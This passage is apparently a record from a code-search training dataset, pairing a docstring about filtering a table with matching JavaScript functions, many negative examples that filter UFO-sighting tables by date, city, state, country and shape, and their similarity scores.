key: this.selectedKey })[0];\n if (this.status === 'expanded') {\n this.render();\n } else {\n this.render(null, selected ? selected.name : null);\n }\n }", "function displayAllProducts() {\n \n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) throw err;\n \n\n //Loop to push items into productArray\n for (var i = 0; i < res.length; i++) {\n \tproductArray.push(res[i].product_name);\n }\n \n\n inquirer\n \t\t.prompt([\n \t\t\t{\n\t\t\t\ttype: \"list\",\n\t\t\t\tmessage: \"Which item would you like to purchase?\",\n\t\t\t\tchoices: productArray,\n\t\t\t\tname: \"selection\"\n\t\t }\n\t\t])\n\t\t.then(function(inqRes) {\n\t\t\tconsole.log(inqRes.selection);\n\t\t\tselectItem(inqRes.selection);\n\n\n\t\t});//ends then\n\n\n });//end of connection query\n} //end of displayAllProducts", "function getSelectedIndices(options, selectedKeys) {\n if (!options || !selectedKeys) {\n return [];\n }\n var selectedIndices = {};\n options.forEach(function (option, index) {\n if (option.selected) {\n selectedIndices[index] = true;\n }\n });\n var _loop_1 = function (selectedKey) {\n var index = (0,_Utilities__WEBPACK_IMPORTED_MODULE_30__.findIndex)(options, function (option) { return option.key === selectedKey; });\n if (index > -1) {\n selectedIndices[index] = true;\n }\n };\n for (var _i = 0, selectedKeys_1 = selectedKeys; _i < selectedKeys_1.length; _i++) {\n var selectedKey = selectedKeys_1[_i];\n _loop_1(selectedKey);\n }\n return Object.keys(selectedIndices).map(Number).sort();\n}" ]
[ "0.6121311", "0.6119395", "0.61007607", "0.6039065", "0.6023287", "0.5974661", "0.5923218", "0.58839667", "0.5883318", "0.58395505", "0.5818361", "0.5811872", "0.5791036", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.5762048", "0.57586753", "0.5740271", "0.5740271", "0.5733442", "0.5733442", "0.5733442", "0.5720463", "0.5718692", "0.5679366", "0.5649182", "0.563564", "0.56314844", "0.56143445", "0.56063896", "0.5585176", "0.5560871", "0.55585164", "0.55465275", "0.5519177", "0.5504052", "0.5472926", "0.54570776", "0.5446372", "0.5439903", "0.5428002", "0.542077", "0.54193324", "0.54115987", "0.5409849", "0.5396745", "0.53941286", "0.5388823", "0.534926", "0.53425765", "0.5330406", "0.5321951", "0.53110874", "0.5306424", "0.52990043", "0.5292144", "0.52888453", "0.5281101", "0.5276249", "0.5273259", "0.52716005", "0.5270597", "0.5267644", "0.5266975", "0.5264374", "0.5260513", "0.5242079", "0.52386445", "0.5237302", "0.5235122", "0.52298397", "0.5226609", "0.522594", "0.522238", "0.52218753", "0.5217997", "0.52138036", "0.52009743", "0.5199488", "0.5195899", "0.5194701", "0.51841605", "0.51827705", "0.5182508", "0.5170532", "0.5169463", "0.5165912", "0.51632965", "0.5159677", "0.5149166", "0.5145263", "0.5145263", "0.51413447", "0.51408476" ]
0.78119045
0
filter table based on the input from the user. Datetime and country are single elements. City, state, and shape are multi select and the input is provided in an array where. the field option is set to true if it was selected. This routine is called when the users has hit the filter button.
function checkinput() { var performerselected = document.getElementById("performerselect").value; var songselected = document.getElementById("songselect").value; var yearselected = document.getElementById("yearselect").value; var peakselected = document.getElementById("peakselect").value; var table_size = document.getElementById("song-table").rows.length; // console.log("Button Hit", performerselected, songselected, yearselected, peakselected, table_size) // clear the table and then check for the right date range. clearTable(table, table_size); generateTable(performerselected, songselected, yearselected, peakselected); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function handleChange() {\n tbody.html(\"\");\n // Select input value\n var dateInputText = datetime.property(\"value\").toLowerCase();\n var cityInputText = city.property(\"value\").toLowerCase();\n var stateInputText = state.property(\"value\").toLowerCase();\n var countryInputText = country.property(\"value\").toLowerCase();\n var shapeInputText = shape.property(\"value\").toLowerCase();\n\n console.log(dateInputText);\n console.log(cityInputText);\n console.log(stateInputText);\n console.log(countryInputText);\n console.log(shapeInputText);\n\n filter_table = tableData\n // Filtered data from tableData\n if(dateInputText !== \"\"){\n var filter_table = filter_table.filter(filter_table => filter_table.datetime === dateInputText);\n } \n if(cityInputText !== \"\"){\n var filter_table = filter_table.filter(filter_table => filter_table.city === cityInputText);\n }\n if(stateInputText !== \"\"){\n var filter_table = filter_table.filter(filter_table => filter_table.state === stateInputText);\n }\n if(countryInputText !== \"\"){\n var filter_table = filter_table.filter(filter_table => filter_table.country === countryInputText);\n }\n if(shapeInputText !== \"\"){\n var filter_table = filter_table.filter(filter_table => filter_table.shape === shapeInputText);\n }\n\n console.log(filter_table.length);\n \n if (filter_table.length !== 0){\n table(filter_table);\n } else{\n alert(\"Results Not Found\");\n table(tableData);\n }\n}", "function searchButtonClick() {\r\n var filterDate = $dateTimeInput.value.trim();\r\n var filterCity = $cityInput.value.trim().toLowerCase();\r\n var filterState = $stateInput.value.trim().toLowerCase();\r\n var filterCountry = $countryInput.value.trim().toLowerCase();\r\n var filterShape = $shapeInput.value.trim().toLowerCase();\r\n\r\n if (filterDate != \"\") {\r\n filteredData = filteredData.filter(function (date) {\r\n var dataDate = date.datetime;\r\n return dataDate === filterDate;\r\n });\r\n\r\n }\r\n\r\n if (filterCity != \"\") {\r\n filteredData = filteredData.filter(function (city) {\r\n var dataCity = city.city;\r\n return dataCity === filterCity;\r\n });\r\n }\r\n\r\n if (filterState != \"\") {\r\n filteredData = filteredData.filter(function (state) {\r\n var dataState = state.state;\r\n return dataState === filterState;\r\n });\r\n }\r\n\r\n if (filterCountry != \"\") {\r\n filteredData = filteredData.filter(function (country) {\r\n var dataCountry = country.country;\r\n return dataCountry === filterCountry;\r\n });\r\n }\r\n\r\n if (filterShape != \"\") {\r\n filteredData = filteredData.filter(function (shape) {\r\n var dataShape = shape.shape;\r\n return dataShape === filterShape;\r\n });\r\n }\r\n\r\n renderTable();\r\n}", "function filterTable() {\n\n // stop reload\n // d3.event.presentDefault();\n // var userInputs = [];\n // create variable for storing input date \n // var storeValue = d3.selectAll(\".form-control\")\n var dateValue = d3.select(\"#datetime\").property(\"value\")\n var cityValue = d3.select(\"#city\").property(\"value\")\n var stateValue = d3.select(\"#state\").property(\"value\")\n var countryValue = d3.select(\"#country\").property(\"value\")\n var shapeValue = d3.select(\"#shape\").property(\"value\")\n // console.log(storeValue)\n // storeValue.forEach(userInput =>{\n // // userInputs.push(userInput)\n // console.log(userInput[0])\n // })\n // console.log(userInputs)\n //set variable to set a copy for data filtering\n var filterData = tableData;\n\n // do conditional statement to reset page when clicked button \n if (dateValue != \"\") {\n filterData = filterData.filter(function (sightingRow) {\n // need a conditional statement by using a boolean, to display table row\n if (dateValue === sightingRow.datetime) { return true; }\n })\n }\n\n if (cityValue != \"\") {\n filterData = filterData.filter(function (sightingRow) {\n // need a conditional statement by using a boolean, to display table row\n if (cityValue === sightingRow.city) { return true; }\n })\n }\n\n if (stateValue != \"\") {\n filterData = filterData.filter(function (sightingRow) {\n // need a conditional statement by using a boolean, to display table row\n if (stateValue === sightingRow.state) { return true; }\n })\n }\n if (countryValue != \"\") {\n filterData = filterData.filter(function (sightingRow) {\n // need a conditional statement by using a boolean, to display table row\n if (countryValue === sightingRow.country) { return true; }\n })\n }\n if (shapeValue != \"\") {\n filterData = filterData.filter(function (sightingRow) {\n // need a conditional statement by using a boolean, to display table row\n if (shapeValue === sightingRow.shape) { return true; }\n })\n }\n\n createTable(filterData);\n\n\n}", "function searchButtonClick() {\n var dateFilter = $dateInput.value;\n var stateFilter = $stateInput.value.trim().toLowerCase();\n var cityFilter = $cityInput.value.trim().toLowerCase();\n var countryFilter = $countryInput.value.trim().toLowerCase();\n var shapeFilter = $shapeInput.value.trim().toLowerCase();\n\n // Date Filter\n if (dateFilter != \"\") {\n tableData = data.filter(function (sighting) {\n var sightingDate = sighting.datetime;\n return sightingDate === dateFilter;\n });\n }\n else { tableData };\n\n // State Filter\n if (stateFilter != \"\") {\n tableData = tableData.filter(function (sighting) {\n var sightingState = sighting.state;\n return sightingState === stateFilter;\n });\n }\n else { tableData };\n\n // City Filter\n if (cityFilter != \"\") {\n tableData = tableData.filter(function (sighting) {\n var sightingCity = sighting.city;\n return sightingCity === cityFilter;\n });\n }\n else { tableData };\n\n // Country Filter\n if (countryFilter != \"\") {\n tableData = tableData.filter(function (sighting) {\n var sightingCountry = sighting.country;\n return sightingCountry === countryFilter;\n });\n }\n else { tableData };\n\n // Shape Filter\n if (shapeFilter != \"\") {\n tableData = tableData.filter(function (sighting) {\n var sightingShape = sighting.shape;\n return sightingShape === shapeFilter;\n });\n }\n else { tableData };\n\n populateTable();\n}", "function handleSearchButtonClick() {\n var filterDate = $dateTimeInput.value.trim();\n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n\n if (filterDate != \"\") {\n filteredData = filteredData.filter(function (date) {\n var dataDate = date.datetime;\n return dataDate === filterDate;\n });\n\n }\n\n if (filterCity != \"\") {\n filteredData = filteredData.filter(function (city) {\n var dataCity = city.city;\n return dataCity === filterCity;\n });\n }\n\n if (filterState != \"\") {\n filteredData = filteredData.filter(function (state) {\n var dataState = state.state;\n return dataState === filterState;\n });\n }\n\n if (filterCountry != \"\") {\n filteredData = filteredData.filter(function (country) {\n var dataCountry = country.country;\n return dataCountry === filterCountry;\n });\n }\n\n if (filterShape != \"\") {\n filteredData = filteredData.filter(function (shape) {\n var dataShape = shape.shape;\n return dataShape === filterShape;\n });\n }\n\n renderTable();\n}", "function MyFilterDateTime() {\n var input, inputCity, inputState, inputCountry, inputShape, \n filter, filterCity, fiterState, filterCountry, filterShape, \n table, tr, td, tdCity,tdState, tdCountry, tdShape, i;\n\n input = document.getElementById(\"myInput\");\n inputCity = document.getElementById(\"MyInputCity\");\n inputState = document.getElementById(\"MyInputState\");\n inputCountry = document.getElementById(\"MyInputCountry\");\n inputShape = document.getElementById(\"MyInputShape\");\n\n filter = input.value.toUpperCase();\n filterCity = inputCity.value.toUpperCase();\n fiterState = inputState.value.toUpperCase();\n filterCountry = inputCountry.value.toUpperCase();\n filterShape = inputShape.value.toUpperCase();\n\n table = document.getElementById(\"myTable\");\n\n tr = table.getElementsByTagName(\"tr\");\n\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName(\"td\")[0];\n tdCity = tr[i].getElementsByTagName(\"td\")[1];\n tdState = tr[i].getElementsByTagName(\"td\")[2];\n tdCountry = tr[i].getElementsByTagName(\"td\")[3];\n tdShape = tr[i].getElementsByTagName(\"td\")[4];\n\n if (td) {\n if ((td.innerHTML.toUpperCase().indexOf(filter) > -1) && (tdCity.innerHTML.toUpperCase().indexOf(\n filterCity) > -1) &&\n (tdState.innerHTML.toUpperCase().indexOf(fiterState) > -1) && (tdCountry.innerHTML.toUpperCase().indexOf(\n filterCountry) > -1) && (tdShape.innerHTML.toUpperCase().indexOf(filterShape) > -1)) {\n\n tr[i].style.display = \"\";\n } else {\n tr[i].style.display = \"none\";\n }\n }\n }\n}", "function filterTable() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n var rowfilter = [];\n\n // Select the input element and get the raw HTML node\n var dateElement = d3.select(\"#datetime\");\n var dateValue = dateElement.property(\"value\").trim();\n\n var cityElement = d3.select(\"#city\");\n var cityValue = cityElement.property(\"value\").toLowerCase().trim();\n\n var stateElement = d3.select(\"#state\");\n var stateValue = stateElement.property(\"value\").toLowerCase().trim();\n\n var countryElement = d3.select(\"#country\");\n var countryValue = countryElement.property(\"value\").toLowerCase().trim();\n\n var shapeElement = d3.select(\"#shape\");\n var shapeValue = shapeElement.property(\"value\").toLowerCase().trim();\n\n if (dateValue)\n {rowFilter = tableData.filter(dtRow => (dtRow.datetime === dateValue));}\n\n if (cityValue)\n {rowFilter = rowFilter.filter(dtRow => (dtRow.city === cityValue));}\n \n if (stateValue)\n {rowFilter = rowFilter.filter(dtRow => (dtRow.state === stateValue));}\n \n if (countryValue)\n {rowFilter = rowFilter.filter(dtRow => (dtRow.country === countryValue));}\n \n if (shapeValue)\n {rowFilter = rowFilter.filter(dtRow => (dtRow.shape === shapeValue));} \n\n console.log(rowFilter)\n\n if ((dateValue === \" \") && \n (cityValue === \" \") &&\n (stateValue === \" \") &&\n (countryValue === \" \") &&\n (shapeValue === \" \")) {\n buildTable(tableData);\n }\n\n if (rowFilter === \" \") {\n tbody.html(\"\");}\n else {\n tbody.html(\"\");\n buildTable(rowFilter);\n }\n}", "function filterMyTable(row) {\n\n //Filters\n //Date Input. \n var filterOuput = (new Date(row.datetime)).getTime() >= (new Date(dateInput.property(\"value\"))).getTime();\n\n // City\n if (citySelector.property(\"value\") != \"Select Parameter\") {\n filterOuput = (filterOuput && (row.city === citySelector.property(\"value\")));\n };\n\n // State\n if (stateSelector.property(\"value\") != \"Select Parameter\") {\n filterOuput = (filterOuput && (row.state === stateSelector.property(\"value\")));\n };\n\n // Country\n if (countrySelector.property(\"value\") != \"Select Parameter\") {\n filterOuput = (filterOuput && (row.country === countrySelector.property(\"value\")));\n };\n\n // Shape\n if (shapeSelector.property(\"value\") != \"Select Parameter\") {\n filterOuput = (filterOuput && (row.shape === shapeSelector.property(\"value\")));\n };\n\n return filterOuput;\n}", "function filterDate() {\n // Prevent refresh\n d3.event.preventDefault();\n\n // Get date from input\n var inputElement = d3.select(\".form-control\");\n var inputValue = inputElement.property(\"value\");\n // Get selected city, state, country, shape\n // empty value if default \"- choose\"\n var selectedCity = citySelect.property(\"value\");\n if (selectedCity === \"- choose\") {\n selectedCity = \"\";\n }\n var selectedState = stateSelect.property(\"value\");\n if (selectedState === \"- choose\") {\n selectedState = \"\";\n }\n var selectedCountry = countrySelect.property(\"value\");\n if (selectedCountry === \"- choose\") {\n selectedCountry = \"\";\n }\n var selectedShape = shapeSelect.property(\"value\");\n if (selectedShape === \"- choose\") {\n selectedShape = \"\";\n }\n\n //console\n console.log(`Date: ${inputValue}`);\n console.log(`City: ${selectedCity}`);\n\n filteredData = tableData.filter((sighting) => {\n return (\n (!inputValue || sighting.datetime === inputValue) &&\n (!selectedCity || sighting.city === selectedCity) &&\n (!selectedState || sighting.state === selectedState) &&\n (!selectedCountry || sighting.country === selectedCountry) &&\n (!selectedShape || sighting.shape === selectedShape)\n );\n });\n\n console.log(selectedCity);\n console.log(selectedState);\n console.log(selectedCountry);\n console.log(inputValue);\n\n // Call function to populate table\n populateTable(filteredData);\n}", "function filterTable() {\n // First, clear out any existing ufo_table body data by using the selectAll commect on all rows followed by the .remove() method. This ensures that the table is rendered fresh each time the filter is applied\n ufo_table.selectAll('tr').remove();\n\n // Now check whether any input was provided in the filter search form. If no input exists (the value property of the form is an empty string), then display the entire table of UFO sightings.\n if (dateTimeEntry.property('value') === '') {\n // tableData is a list of objects, each object being a specific UFO sighting consisting of key:value pairs. Begin by using .forEach to iterate over each object\n tableData.forEach((ufoSighting) => {\n // For every object in the table, append a new row to the DOM table\n var row = ufo_table.append('tr');\n // Now use the forEach function to iterate though each key:value pair of each object. For every pair, append a new table data item (td), then populate the cell with the value.\n Object.entries(ufoSighting).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n }); \n });\n } else {\n // If an input was provided, then display the table based on the date provided\n tableData.forEach((ufoSighting) => {\n // For every object in the table with a dateTime value that matches the value of the dateTime entry form date input, append a new row to the DOM table\n if (ufoSighting.datetime === dateTimeEntry.property('value')) {\n var row = ufo_table.append('tr');\n // Now use the forEach function to iterate though each key:value pair of each object. For every pair, append a new table data item (td), then populate the cell with the value.\n Object.entries(ufoSighting).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n }); \n };\n });\n } \n}", "function handleSearchButtonClick() \n{\n var filterDateTime = $dateTimeInput.value.trim().toLowerCase(); \n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n \n if (filterDateTime || filterCity || filterState || filterCountry || filterShape)\n {\n if (filterDateTime){ \n \n search_data = dataSet.filter (function(sighting) { \n var SightingDateTime = sighting.datetime.toLowerCase();\n return SightingDateTime === filterDateTime;\n });\n } else {search_data = dataSet}; \n \n if (filterCity){\n \n search_data = search_data.filter (function(sighting) {\n var SightingCity = sighting.city.toLowerCase();\n return SightingCity === filterCity;\n });\n } else {search_data = search_data}; \n\n if (filterState){\n search_data = search_data.filter (function(sighting) {\n var SightingState = sighting.state.toLowerCase();\n return SightingState === filterState;\n });\n } else {search_data = search_data}; \n\n if (filterCountry){\n search_data = search_data.filter (function(sighting) {\n var SightingCountry = sighting.country.toLowerCase();\n return SightingCountry === filterCountry;\n });\n } else {search_data = search_data}; \n\n if (filterShape){\n search_data = search_data.filter (function(sighting) {\n var SightingShape = sighting.shape.toLowerCase();\n return SightingShape === filterShape;\n });\n } else {search_data = search_data}; \n\n\n } else {\n // Show full dataset when the user does not enter any serch criteria\n search_data = dataSet; \n }\n $('#table').DataTable().destroy(); \n renderTable(search_data); \n pagination_UFO(); \n}", "function filterTable() {\n var filteredData = tableData\n // console.log(dateTimeEntry.property('value'))\n if (dateTimeEntry.property('value')) {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.datetime === dateTimeEntry.property('value'));\n }\n if (cityEntry.property('value')) {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.city === cityEntry.property('value').toLowerCase());\n }\n if (stateEntry.property('value')) {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.state === stateEntry.property('value').toLowerCase());\n }\n if (shapeEntry.property('value')) {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.shape === shapeEntry.property('value').toLowerCase());\n }\n // Filter on the country by determining which country has been selected by the country button. If neither 'us' nor 'ca' is selected, this filter will not run.\n if (country_button.text() === 'United States') {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.country === 'us')\n } else if (country_button.text() === 'Canada') {\n var filteredData = filteredData.filter(ufoSighting => ufoSighting.country === 'ca')\n }\n\n // Clear the DOM table from the previous state\n ufo_table.selectAll('tr').remove();\n\n // Clear the noData div \n d3.selectAll('#nodata').text('')\n\n // If the filteredData has a length of zero, print a message indicating as such\n if (filteredData.length === 0) {\n d3.selectAll('#nodata').text('Sorry, your filter returned no results. Please try again.')\n }\n // Repopulate the DOM table with the filtered data.\n filteredData.forEach((ufoSighting) => {\n\n var row = ufo_table.append('tr');\n Object.entries(ufoSighting).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n }); \n }); \n}", "function myFunction() {\n var input_date, input_city, input_state, input_country, input_shape;\n var filter_date, filter_city, filter_state, filter_country, filter_shape;\n var table, tr, td, i;\n \n input_date = document.getElementById(\"datetime\");\n input_city = document.getElementById(\"city\");\n input_state = document.getElementById(\"state\");\n input_country = document.getElementById(\"country\");\n input_shape = document.getElementById(\"shape\");\n\n filter_date = input_date.value;\n filter_city = input_city.value.toUpperCase();\n filter_state = input_state.value.toUpperCase();\n filter_country = input_country.value.toUpperCase();\n filter_shape = input_shape.value.toUpperCase();\n\n\n table = document.getElementById(\"example\");\n\n tr = table.getElementsByTagName(\"tr\");\n \n for (i = 0; i < tr.length; i++) {\n var td_date = tr[i].getElementsByTagName(\"td\")[0];\n var td_city = tr[i].getElementsByTagName(\"td\")[1];\n var td_state = tr[i].getElementsByTagName(\"td\")[2];\n var td_country = tr[i].getElementsByTagName(\"td\")[3];\n var td_shape = tr[i].getElementsByTagName(\"td\")[4];\n\n\n if (td_date && td_city && td_state && td_country && td_shape) {\n if ( (td_date.innerHTML.indexOf(filter_date) > -1) && \n (td_city.innerHTML.toUpperCase().indexOf(filter_city) > -1) &&\n (td_state.innerHTML.toUpperCase().indexOf(filter_state) > -1) &&\n (td_country.innerHTML.toUpperCase().indexOf(filter_country) > -1) &&\n (td_shape.innerHTML.toUpperCase().indexOf(filter_shape) > -1) \n ) {\n tr[i].style.display = \"\";\n } \n else {\n tr[i].style.display = \"none\";\n }\n } \n }\n}", "function filterTable() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the date input element and get the raw HTML node\n let inputDateElement = d3.select(\"#datetime\");\n\n // Get the value property of the date input element\n // Use trim() to remove any leading or trailing whitespace\n let inputDateValue = inputDateElement.property(\"value\").trim();\n\n // Select the city input element and get the raw HTML node\n let inputCityElement = d3.select(\"#city\");\n\n // Get the value property of the city input element\n // Use trim() to remove any leading or trailing whitespace\n // Use toLowerCase() to convert any input to lowercase as it is listed in the tableData variable\n let inputCityValue = inputCityElement.property(\"value\").trim().toLowerCase();\n\n // Select the state input element and get the raw HTML node\n let inputStateElement = d3.select(\"#state\");\n\n // Get the value property of the state input element\n // Use trim() to remove any leading or trailing whitespace\n // Use toLowerCase() to convert any input to lowercase as it is listed in the tableData variable\n let inputStateValue = inputStateElement.property(\"value\").trim().toLowerCase();\n\n // Select the country input element and get the raw HTML node\n let inputCountryElement = d3.select(\"#country\");\n\n // Get the value property of the country input element\n // Use trim() to remove any leading or trailing whitespace\n // Use toLowerCase() to convert any input to lowercase as it is listed in the tableData variable\n let inputCountryValue = inputCountryElement.property(\"value\").trim().toLowerCase();\n\n // Select the shape input element and get the raw HTML node\n let inputShapeElement = d3.select(\"#shape\");\n\n // Get the value property of the shape input element\n // Use trim() to remove any leading or trailing whitespace\n // Use toLowerCase() to convert any input to lowercase as it is listed in the tableData variable\n let inputShapeValue = inputShapeElement.property(\"value\").trim().toLowerCase();\n\n // If the inputDateValue is empty i.e. no search terms given\n // Retrieve entire dataset for displaying in table\n if (inputDateValue == \"\") {\n // Output message to console\n console.log(\"Empty date search field\");\n // Set filteredData1 to retrieve all data by assigning it to tableData\n filteredData1 = tableData;\n }\n else {\n // Write value to console for checking\n console.log(inputDateValue);\n // Use arrow function over tableData to filter data to sightings in which the date\n // matches the date value input into the filter\n // Store in filteredData1\n filteredData1 = tableData.filter(sighting => sighting.datetime === inputDateValue);\n }\n\n // If the inputCityValue is empty i.e. no search terms given\n // Retrieve entire dataset from filteredData1 and assign it to filteredData2\n if (inputCityValue == \"\") {\n // Output message to console\n console.log(\"Empty city search field\");\n // Retrieve entire dataset from filteredData1 and assign it to filteredData2\n filteredData2 = filteredData1;\n }\n else {\n // Write value to console for checking\n console.log(inputCityValue);\n // Use arrow function over tableData to filter data to sightings in which the city\n // matches the city value input into the filter\n // Store in filteredData2\n filteredData2 = filteredData1.filter(sighting => sighting.city === inputCityValue);\n }\n\n // If the inputStateValue is empty i.e. no search terms given\n // Retrieve entire dataset from filteredData2 and assign it to filteredData3\n if (inputStateValue == \"\") {\n // Output message to console\n console.log(\"Empty state search field\");\n // Retrieve entire dataset from filteredData2 and assign it to filteredData3\n filteredData3 = filteredData2;\n }\n else {\n // Write value to console for checking\n console.log(inputStateValue);\n // Use arrow function over tableData to filter data to sightings in which the state\n // matches the state value input into the filter\n // Store in filteredData3\n filteredData3 = filteredData2.filter(sighting => sighting.state === inputStateValue);\n }\n \n // If the inputCountryValue is empty i.e. no search terms given\n // Retrieve entire dataset from filteredData3 and assign it to filteredData4\n if (inputCountryValue == \"\") {\n // Output message to console\n console.log(\"Empty country search field\");\n // Retrieve entire dataset from filteredData3 and assign it to filteredData4\n filteredData4 = filteredData3;\n }\n else {\n // Write value to console for checking\n console.log(inputCountryValue);\n // Use arrow function over tableData to filter data to sightings in which the country\n // matches the country value input into the filter\n // Store in filteredData4\n filteredData4 = filteredData3.filter(sighting => sighting.country === inputCountryValue);\n }\n \n // If the inputShapeValue is empty i.e. no search terms given\n // Retrieve entire dataset from filteredData4 and assign it to filteredData5\n if (inputShapeValue == \"\") {\n // Output message to console\n console.log(\"Empty shape search field\");\n // Retrieve entire dataset from filteredData4 and assign it to filteredData5\n filteredData5 = filteredData4;\n }\n else {\n // Write value to console for checking\n console.log(inputShapeValue);\n // Use arrow function over tableData to filter data to sightings in which the shape\n // matches the shape value input into the filter\n // Store in filteredData5\n filteredData5 = filteredData4.filter(sighting => sighting.shape === inputShapeValue);\n }\n\n // Output final result of all filters i.e. filteredData5 to console\n console.log(filteredData5);\n\n // Select the body of the table to display the results\n let tbody = d3.select(\"tbody\");\n\n // Clear any previous output of the table\n tbody.html(\"\");\n\n // Iterate through each filtered UFO sighting data set, addring a row to the table for each sighting\n filteredData5.forEach((sighting) => {\n // Append the row tag for each new row in the table\n let row = tbody.append(\"tr\");\n // Iterate through each key-value pair and add the data as cells in the table\n // Consists of Date, City, State, Country, Shape, Duration, Comments values\n // Keys are: datetime, city, state, country, shape\n Object.entries(sighting).forEach(([key, value]) => {\n // Each cell entry must begin with the td tag\n let cell = row.append(\"td\");\n // The text value written in the cell is derived from the value element of the key-value pair\n cell.text(value);\n });\n });\n \n}", "function filterAll() {\n\t// filter by date\n\td3.event.preventDefault();\n\tconst dateInput = d3.select('#datetime');\n\tconst date = dateInput.property('value');\n\tlet table = tableData;\n\tif (date !== '') {\n\t\ttable = table.filter((row) => row.datetime === date);\n\t}\n\n\t// filter by state\n\tconst state = stateDropdown.node().value;\n\tif (state !== '') {\n\t\ttable = table.filter((row) => row.state === state);\n\t}\n\n\t// filter by shape\n\tconst shape = shapeDropdown.node().value;\n\tif (shape !== '') {\n\t\ttable = table.filter((row) => row.shape === shape);\n\t}\n\n\t// show filtered table\n\tshowTable(table);\n}", "function handleChange(){\n\n //create new data table that is going to be filtered\n var filtered = data;\n \n //prevent page refresh!\n d3.event.preventDefault();\n\n //clear previous table\n tbody.text(\"\")\n\n //TEST\n if (input_date.property(\"value\")){\n var date = input_date.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = data.filter(i => i.datetime == date);\n };\n\n //if a value is input for date filter the data\n if (input_date.property(\"value\")){\n var date = input_date.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = data.filter(i => i.datetime == date);\n };\n\n //if a value is input for city filter the data\n if (input_city.property(\"value\")){\n var city = input_city.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = filtered.filter(i => i.city == city);\n };\n\n //if a value is input for state filter the data\n if (input_state.property(\"value\")){\n var state = input_state.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = filtered.filter(i => i.state == state);\n };\n\n //if a value is input for country filter the data\n if (input_country.property(\"value\")){\n var country = input_country.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = filtered.filter(i => i.country == country);\n };\n\n //if a value is input for shape filter the data\n if (input_shape.property(\"value\")){\n var shape = input_shape.property(\"value\");\n //create new data object with filtered rows by input date\n filtered = filtered.filter(i => i.shape == shape);\n };\n\n\n //input this new data object into our function to output the table\n create_table(filtered);\n\n}", "function filterTable() {\n \n // 8. Set the filtered data to the tableData.\n var filteredData = tableData;\n \n // 9. Loop through all of the filters and keep any data that\n // matches the filter values\n if (entryLengthDatetime > 0) {\n console.log(inputValueDatetime)\n var filteredData = data.filter(report => report.datetime === inputValueDatetime);\n }\n \n else if (entryLengthCity > 0) {\n var filteredData = data.filter(report => report.city === inputValueCity);\n }\n \n else if (entryLengthState > 0) {\n var filteredData = data.filter(report => report.state === inputValueState);\n }\n \n else if (entryLengthCountry > 0) {\n var filteredData = data.filter(report => report.country === inputValueCountry);\n }\n \n else if (entryLengthShape > 0) {\n var filteredData = data.filter(report => report.shape === inputValueShape);\n }\n\n console.log(filteredData);\n\n refresh(filteredData);\n \n // 10. Finally, rebuild the table using the filtered data\n filteredData.forEach((UFOReport) => {\n var row = tbody.append(\"tr\");\n Object.entries(UFOReport).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n }", "function filterByCriteria() {\n const arrayOfShapes = data.map((data) => data.shape);\n const uniqueShapes = [...new Set(arrayOfShapes)];\n const select = document.getElementById(\"dropdown-shapes\");\n uniqueShapes.map((shape) => {\n const option = document.createElement(\"option\");\n option.innerHTML = shape;\n select.appendChild(option);\n });\n console.log(uniqueShapes);\n\n submitBtn.onclick = () => {\n //console.log('the click func is working')\n //console.log(inputDate.value)\n let filterDate = inputDate.value;\n let filterCountry = inputCountry.value;\n let filterState = inputState.value;\n let filterCity = inputCity.value;\n let filterShape = select.value;\n //verify can return values...function filter needs added\n //console.log(filterCity, filterState, filterCountry, filterShape)\n // create variable to store filtered data\n //const newData = filterDate === \"\" ? data : data.filter(item=>item.datetime === filterDate)\n\n let newData = data;\n\n if (filterDate !== \"\") {\n newData = newData.filter((item) => item.datetime === filterDate);\n }\n if (filterCountry !== \"\") {\n newData = newData.filter(\n (item) => item.country === filterCountry.toLowerCase()\n );\n }\n if (filterCity !== \"\") {\n newData = newData.filter(\n (item) => item.city === filterCity.toLowerCase()\n );\n }\n if (filterShape !== \"\") {\n newData = newData.filter((item) => item.shape === filterShape);\n }\n if (filterState !== \"\") {\n newData = newData.filter(\n (item) => item.state === filterState.toLowerCase()\n );\n }\n\n //filter works if all values are filled out in lower case -- cannot autofill from browser\n //\n //console.log(newData)\n // replace existing table with filtered data(cleaning tbody then render filter data)\n bodyData.innerHTML = \"\";\n renderData(newData);\n };\n}", "function handleFilterClick() {\n let dateValue = d3.select(\"#datetime\").property(\"value\");\n let cityValue = d3.select(\"#city\").property(\"value\");\n let stateValue = d3.select(\"#state\").property(\"value\");\n let countryValue = d3.select(\"#country\").property(\"value\");\n let shapeValue = d3.select(\"#shape\").property(\"value\");\n console.log(dateValue,cityValue,stateValue,countryValue,shapeValue)\n let filteredData = filteredDate(dateValue,cityValue,stateValue,countryValue,shapeValue);\n console.log(filteredData)\n createTable(filteredData);\n}", "function handleFilterButtonClick() {\n var datefilter = $dateInput.value;\n\n\n // Filter on date\n if (datefilter != \"\") {\n tableData = data.filter(function(results) {\n var resultsDate = results.datetime;\n return resultsDate === datefilter;\n });\n } else { tableData };\n\n getTable();\n}", 